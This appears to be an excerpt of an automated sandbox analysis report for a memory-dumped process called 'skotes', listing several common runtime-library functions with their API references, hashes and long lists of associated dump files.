Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Context$Base::$GroupScheduleSegment$AssignAvailableConcurrency::location::_EventInternalMakeProcessor::ReleaseRunnableTraceVirtual
String ID:
API String ID: 512098550-0
Opcode ID: 94cc0a456a79818a2b46b0ce70f0e80b0503c76a6b0d9080224447123489cd04
Instruction ID: aa136fbb99b363c9343d0006cf8f5561fce82117a5b0aa76c2479a6fee2d7e17
Opcode Fuzzy Hash: 94cc0a456a79818a2b46b0ce70f0e80b0503c76a6b0d9080224447123489cd04
Instruction Fuzzy Hash: BA416F39A00219EFCB09DF64C454AADBBB6FF88311F148159E816A7390CB74AE45DF84

Function 00C4ECE6 Relevance: 7.6, APIs: 5, Instructions: 101COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 00C4ECED
Concurrency::details::_NonReentrantPPLLock::_Scoped_lock::_Scoped_lock.LIBCONCRT ref: 00C4ED17

Part of subcall function 00C4F3DD: Concurrency::critical_section::_Acquire_lock.LIBCONCRT ref: 00C4F3FA

__alloca_probe_16.LIBCMT ref: 00C4ED53
Concurrency::details::EventWaitNode::Satisfy.LIBCONCRT ref: 00C4ED94
Concurrency::details::_ReaderWriterLock::_Scoped_lock::~_Scoped_lock.LIBCONCRT ref: 00C4EDC6

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::_Lock::_Scoped_lock$Acquire_lockConcurrency::critical_section::_Concurrency::details::EventH_prolog3_Node::ReaderReentrantSatisfyScoped_lock::_Scoped_lock::~_WaitWriter__alloca_probe_16
String ID:
API String ID: 2568206803-0
Opcode ID: 146f649dbed939c920329aa40f3ffdda31e565a1f1a97145dd8913c034f53cd4
Instruction ID: e05eb5be3eb510eeccbf306bf073d73b1374a734dd3b43fc6739dd38ea5ab7c3
Opcode Fuzzy Hash: 146f649dbed939c920329aa40f3ffdda31e565a1f1a97145dd8913c034f53cd4
Instruction Fuzzy Hash: 65318D71E002158FCB15EFA8C8416ADB7F4BF49310F26406EE856E7390DB349E02CBA5

Function 00C5D2B9 Relevance: 7.6, APIs: 5, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ReferenceCountedQuickBitSet::InterlockedSet.LIBCONCRT ref: 00C5D344
ListArray.LIBCONCRT ref: 00C5D367
Concurrency::details::SchedulerBase::VirtualProcessorActive.LIBCONCRT ref: 00C5D370
ListArray.LIBCONCRT ref: 00C5D3A8
Concurrency::details::VirtualProcessor::MakeAvailable.LIBCONCRT ref: 00C5D3B3

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$ArrayListVirtual$ActiveAvailableBase::CountedInterlockedMakeProcessorProcessor::QuickReferenceSchedulerSet::
String ID:
API String ID: 4212520697-0
Opcode ID: 811cb062b000b4b57c640a2c026b462e5f056eeb01847d92237c8e2dca1c88e4
Instruction ID: f8c436e6ec94d34c4d447f4369df2b76f65e8ad543199e2d0b7dc5bba17777f4
Opcode Fuzzy Hash: 811cb062b000b4b57c640a2c026b462e5f056eeb01847d92237c8e2dca1c88e4
Instruction Fuzzy Hash: 1B31C1397003009FCB14DF54C885BADB7B6AF88311F150099EC069B392CB74ED88DB9A

Function 00C586C9 Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_SpinWait.LIBCONCRT ref: 00C586EE

Part of subcall function 00C4EAD0: _SpinWait.LIBCONCRT ref: 00C4EAE8

Concurrency::details::ContextBase::ClearAliasTable.LIBCONCRT ref: 00C58702
Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00C58734
List.LIBCMT ref: 00C587B7
List.LIBCMT ref: 00C587C6

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: ListSpinWait$AcquireAliasBase::ClearConcurrency::details::Concurrency::details::_ContextLock::_ReaderTableWriteWriter
String ID:
API String ID: 3281396844-0
Opcode ID: edf6ccef89b3e456e69f8558080e16c83312442beb0556572b8efdf55c58d6c8
Instruction ID: ffb49a1604a58015a2f429af8ac153fb9af8d307b147e88f34fef4fdfa92f6c8
Opcode Fuzzy Hash: edf6ccef89b3e456e69f8558080e16c83312442beb0556572b8efdf55c58d6c8
Instruction Fuzzy Hash: D7316B3A901655DFCB14EFA4C5815DDB7B1BF08359F24006EE85277252CB316E8CDBA8

Function 00C6182A Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

std::invalid_argument::invalid_argument.LIBCONCRT ref: 00C618A4
Concurrency::details::FreeVirtualProcessorRoot::SpinUntilIdle.LIBCONCRT ref: 00C618EB

Strings

pContext, xrefs: 00C6189C

Memory Dump Source

Source File: 00000007.00000002.2936711827.0000000000C31000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00C30000, based on PE: true

Associated: 00000007.00000002.2936634897.0000000000C30000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936711827.0000000000C92000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936907164.0000000000C99000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2936960145.0000000000C9B000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937027905.0000000000CA7000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937326480.0000000000DFF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937399774.0000000000E01000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937465860.0000000000E16000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937536829.0000000000E17000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E1A000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937614490.0000000000E21000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937833085.0000000000E2D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937909965.0000000000E2E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2937993141.0000000000E35000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938063995.0000000000E36000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938112171.0000000000E3D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938227026.0000000000E3E000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938281150.0000000000E41000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938357844.0000000000E43000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938506637.0000000000E54000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938671250.0000000000E55000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938803910.0000000000E5D000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2938948341.0000000000E68000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939020843.0000000000E82000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939092962.0000000000E83000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939137757.0000000000E8B000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939246725.0000000000E91000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939295613.0000000000E92000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939339714.0000000000E94000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939400944.0000000000E95000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939587549.0000000000E98000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939641945.0000000000EA1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939677124.0000000000EA3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939712190.0000000000EA4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939744671.0000000000EA7000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939776720.0000000000EA8000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939809538.0000000000EAE000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939842700.0000000000EB6000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939874977.0000000000EBA000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939908670.0000000000EBB000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939937322.0000000000EBC000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2939969297.0000000000EBD000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940012428.0000000000EC3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940053481.0000000000ED2000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940084323.0000000000ED3000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940130746.0000000000EF4000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000EF6000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940167014.0000000000F01000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940244037.0000000000F30000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940276672.0000000000F31000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940310298.0000000000F32000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940341435.0000000000F37000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940371200.0000000000F39000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940399295.0000000000F47000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.2940430365.0000000000F48000.00000080.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_c30000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::FreeIdleProcessorRoot::SpinUntilVirtualstd::invalid_argument::invalid_argument
String ID: pContext
API String ID: 3390424672-2046700901
Opcode ID: 1f69cbf6e10d8753d3d46178a615799b848b852e88dc416243289b83fc7bc5a9
Instruction ID: 0f6207d8ace0e464613274b7720f0ea6e352a0aedf1b442f10fdc4c2c9b75412
Opcode Fuzzy Hash: 1f69cbf6e10d8753d3d46178a615799b848b852e88dc416243289b83fc7bc5a9
Instruction Fuzzy Hash: 7D210835B006159BCB24AB69C8D5ABC73A5FF98336B0D052AEC11872D1CBB4ED42DB94

